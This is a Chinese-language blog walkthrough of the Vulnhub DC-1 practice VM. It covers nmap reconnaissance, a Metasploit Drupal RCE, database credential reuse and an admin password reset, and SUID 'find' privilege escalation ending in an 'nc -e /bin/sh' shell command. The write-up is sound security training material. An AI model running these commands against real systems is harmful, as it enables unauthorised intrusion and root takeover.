前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Vulnhub渗透测试:DC-1

Vulnhub渗透测试:DC-1

作者头像
ly0n
发布2020-11-04 11:36:28
5710
发布2020-11-04 11:36:28
举报
文章被收录于专栏:ly0nly0n

Vulnhub

Vulnhub是一个特别好的渗透测试实战网站,提供了许多带有漏洞的渗透测试虚拟机下载。 新手入门DC-1:下载地址

https://www.vulnhub.com/entry/dc-1-1,292/

环境搭建

攻击机kali IP 192.168.222.201 DC-1 IP 192.168.222.131 我们下载好DC-1之后,将.ova文件导入VMware中,网卡模式设置为NAT,让其自动获取IP,搭建好之后我们是没办法登录进去获取到DC-1的IP,所以我们就可以紧接着进行下面的操作。

信息收集

由于我们并不知道DC-1的IP是什么,所以我们需要通过扫描工具NMAP来进行扫描

代码语言:javascript
复制
nmap -sP 192.168.222.0/24

来扫描内网内的存活IP。

成功扫描出DC-1的主机IP,下一步我们可以来看这个靶机开启了哪些端口。

代码语言:javascript
复制
nmap -sV 192.168.222.131
这个是简单的能看出开启的端口号,但并不能看到开启了什么服务
代码语言:javascript
复制
nmap -A -T4 -p- 192.168.222.131

漏洞利用

我们可以看到在80端口,存在着Drupal的服务,我们可以访问看下。

我们不知道账号和密码,但是知道了这个服务,谷歌一波知道了这个服务版本的RCE漏洞,紧接着我们可以尝试利用下。

初渗透

然后使用MSF进行利用。

使用第四个来打。

输入shell后利用Python来获取到一枚sh.

代码语言:javascript
复制
python -c "import pty;pty.spawn('/bin/bash')"

ls后找到flag1.txt,我们查看这个文件。

看到提示是关于cms的,我们应该能找到相关的配置文件。在sites这个文件夹中发现了default文件夹,里面就是我们这个cms的配置文件。

后渗透

我们获取到了数据库的配置文件,所以我们可以连接数据库,看能否在数据库里得到些什么。 使用mysql -u dbuser -p R0ck3t 登录数据库

成功登录!我们接着对数据库进行操作。

查询表名,发现了users表。然后使用查询语句查询表里面的所有。

代码语言:javascript
复制
select * from users;

发现了两个用户一个是admin、一个是Fred,但是我们看到他们的密码都经过了加密,应该是这个服务专属的加密方式,在scripts/中找到了加密的脚本。

我们可以使用这个加密脚本加密一个铭文,然后再数据库内更新admin的密码,这样我们就可以使用我们加密的明文来进行登录了。 我们按照我们的想法来,第一步先生成一个我们已知的明文密码

第二步,利用mysql来更新admin账户的密码。从而进行登录。

登陆成功,找到flag3!

提示中需要寻找密码、需要-exec命令发现隐藏的部分 再home目录下发现了flag4

根据提示,可以知道最终的flag在root目录下。我们要做的就是要提权。 这里要采用suid提权的方法 学习地址 查找具有root权限的suid

代码语言:javascript
复制
find / -perm -u=s -type f 2>/dev/null

利用find提权

可以查看下find是否以root权限执行。 命令:

代码语言:javascript
复制
find /var/www/scripts -exec whoami \;

反弹shell

代码语言:javascript
复制
find /var/www/scripts -exec nc -lvp 5000 -e /bin/sh \;

总结

练习结束,练习的过程是很好的学习的过程

在这个靶机的练习中,主要的点就是Drupal CMS的历史漏洞以及suid的提权

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-09-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Vulnhub
  • 环境搭建
  • 信息收集
  • 漏洞利用
  • 初渗透
  • 后渗透
    • 利用find提权
    • 总结
    相关产品与服务
    数据库
    云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档